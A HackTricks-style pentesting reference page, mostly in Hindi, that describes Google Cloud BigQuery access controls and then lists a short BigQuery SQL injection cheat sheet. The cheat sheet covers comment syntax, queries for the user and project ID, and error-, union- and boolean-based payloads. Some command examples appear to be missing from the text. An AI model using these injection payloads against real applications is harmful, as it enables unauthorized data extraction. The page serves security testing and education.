GCP - Bigquery Enum
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Google Cloud BigQuery एक पूर्ण-प्रबंधित, सर्वर रहित उद्यम डेटा वेयरहाउस है, जो पेटाबाइट्स के डेटा पर विश्लेषण की क्षमताएँ प्रदान करता है, इस प्रकार बड़े पैमाने पर डेटा सेट को कुशलतापूर्वक संभालता है। एक प्लेटफ़ॉर्म के रूप में सेवा (PaaS) के रूप में, यह उपयोगकर्ताओं को डेटा प्रबंधन को सुविधाजनक बनाने के लिए बुनियादी ढाँचा और उपकरण प्रदान करता है बिना मैनुअल निगरानी की आवश्यकता के।
यह ANSI SQL का उपयोग करके क्वेरी करने का समर्थन करता है। मुख्य वस्तुएँ डेटासेट हैं जिनमें टेबल होते हैं जिनमें SQL डेटा होता है।
डिफ़ॉल्ट रूप से एक Google-प्रबंधित एन्क्रिप्शन कुंजी का उपयोग किया जाता है हालांकि एक ग्राहक-प्रबंधित एन्क्रिप्शन कुंजी (CMEK) को कॉन्फ़िगर करना संभव है। यह डेटासेट और डेटासेट के भीतर एक टेबल के लिए एन्क्रिप्शन कुंजी को निर्दिष्ट करना संभव है।
यह डेटासेट में एक समाप्ति समय निर्दिष्ट करना संभव है ताकि इस डेटासेट में बनाई गई कोई भी नई टेबल निर्धारित संख्या के दिनों के बाद स्वचालित रूप से हटाई जाएगी।
Bigquery अन्य Google सेवाओं के साथ गहराई से एकीकृत है। यह बकेट, पब/सब, गूगल ड्राइव, RDS डेटाबेस से डेटा लोड करना संभव बनाता है...
जब एक डेटासेट बनाया जाता है तो ACLs संलग्न किए जाते हैं ताकि उस पर पहुँच प्रदान की जा सके। डिफ़ॉल्ट रूप से इसे उपयोगकर्ता जो डेटासेट बनाया है, को स्वामी विशेषाधिकार दिए जाते हैं और फिर स्वामी को समूह projectOwners (परियोजना के स्वामी), लेखक को समूह projectWriters, और पाठक को समूह projectReaders को:
यह संभव है कि एक प्रिंसिपल को एक तालिका के अंदर पहुँचने के लिए पंक्तियों को नियंत्रित किया जाए पंक्ति पहुँच नीतियों के साथ। ये तालिका के अंदर DDL का उपयोग करके परिभाषित की जाती हैं। पहुँच नीति एक फ़िल्टर को परिभाषित करती है और केवल मिलती-जुलती पंक्तियाँ उस फ़िल्टर के साथ उपलब्ध होंगी जो निर्दिष्ट प्रिंसिपलों द्वारा पहुँच योग्य होंगी।
कॉलम स्तर पर डेटा एक्सेस को प्रतिबंधित करने के लिए:
एक वर्गीकरण और नीति टैग परिभाषित करें। अपने डेटा के लिए एक वर्गीकरण और नीति टैग बनाएं और प्रबंधित करें। https://console.cloud.google.com/bigquery/policy-tags
वैकल्पिक: डेटा कैटलॉग फाइन-ग्रेन रीडर भूमिका को एक या अधिक प्रिंसिपल को सौंपें जो आपने बनाए गए नीति टैग में से एक या अधिक पर हो।
अपने BigQuery कॉलम में नीति टैग असाइन करें। BigQuery में, उन कॉलमों में नीति टैग असाइन करने के लिए स्कीमा एनोटेशन का उपयोग करें जहां आप एक्सेस को प्रतिबंधित करना चाहते हैं।
वर्गीकरण पर एक्सेस नियंत्रण लागू करें। एक्सेस नियंत्रण लागू करने से वर्गीकरण में सभी नीति टैग के लिए परिभाषित एक्सेस प्रतिबंध लागू होते हैं।
नीति टैग पर एक्सेस प्रबंधित करें। प्रत्येक नीति टैग पर एक्सेस को प्रतिबंधित करने के लिए Identity and Access Management (IAM) नीतियों का उपयोग करें। नीति उस प्रत्येक कॉलम के लिए प्रभावी है जो नीति टैग से संबंधित है।
जब एक उपयोगकर्ता क्वेरी समय पर कॉलम डेटा तक पहुंचने की कोशिश करता है, तो BigQuery कॉलम नीति टैग और इसकी नीति की जांच करता है कि क्या उपयोगकर्ता डेटा तक पहुंचने के लिए अधिकृत है।
सारांश के रूप में, कुछ कॉलमों तक कुछ उपयोगकर्ताओं की पहुंच को प्रतिबंधित करने के लिए, आप स्कीमा में कॉलम पर एक टैग जोड़ सकते हैं और उपयोगकर्ताओं की टैग तक पहुंच को प्रतिबंधित कर सकते हैं, जो टैग के वर्गीकरण पर एक्सेस नियंत्रण लागू करता है।
वर्गीकरण पर एक्सेस नियंत्रण लागू करने के लिए सेवा को सक्षम करना आवश्यक है:
यह संभव है कि आप कॉलम के टैग देख सकें:
अधिक जानकारी के लिए आप ब्लॉग पोस्ट देख सकते हैं: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. यहाँ केवल कुछ विवरण दिए जा रहे हैं।
Comments:
select 1#from here it is not working
select 1/*between those it is not working*/
लेकिन केवल प्रारंभिक एक काम नहीं करेगा
select 1--from here it is not working
environment के बारे में information प्राप्त करें जैसे:
वर्तमान उपयोगकर्ता: select session_user()
प्रोजेक्ट आईडी: select @@project_id
पंक्तियों को जोड़ें:
सभी तालिका नाम: string_agg(table_name, ', ')
datasets, tables और column नाम प्राप्त करें:
Project और dataset नाम:
डेटासेट के सभी तालिकाओं के स्तंभ और तालिका नाम:
एक ही प्रोजेक्ट में अन्य डेटासेट:
SQL Injection प्रकार:
त्रुटि आधारित - कास्टिंग: select CAST(@@project_id AS INT64)
त्रुटि आधारित - शून्य द्वारा विभाजन: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '
यूनियन आधारित (आपको bigquery में ALL का उपयोग करना होगा): UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
बूलियन आधारित: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
संभावित समय आधारित - सार्वजनिक डेटासेट का उपयोग उदाहरण: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
दस्तावेज़ीकरण:
स्क्रिप्टिंग स्टेटमेंट: https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE) GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)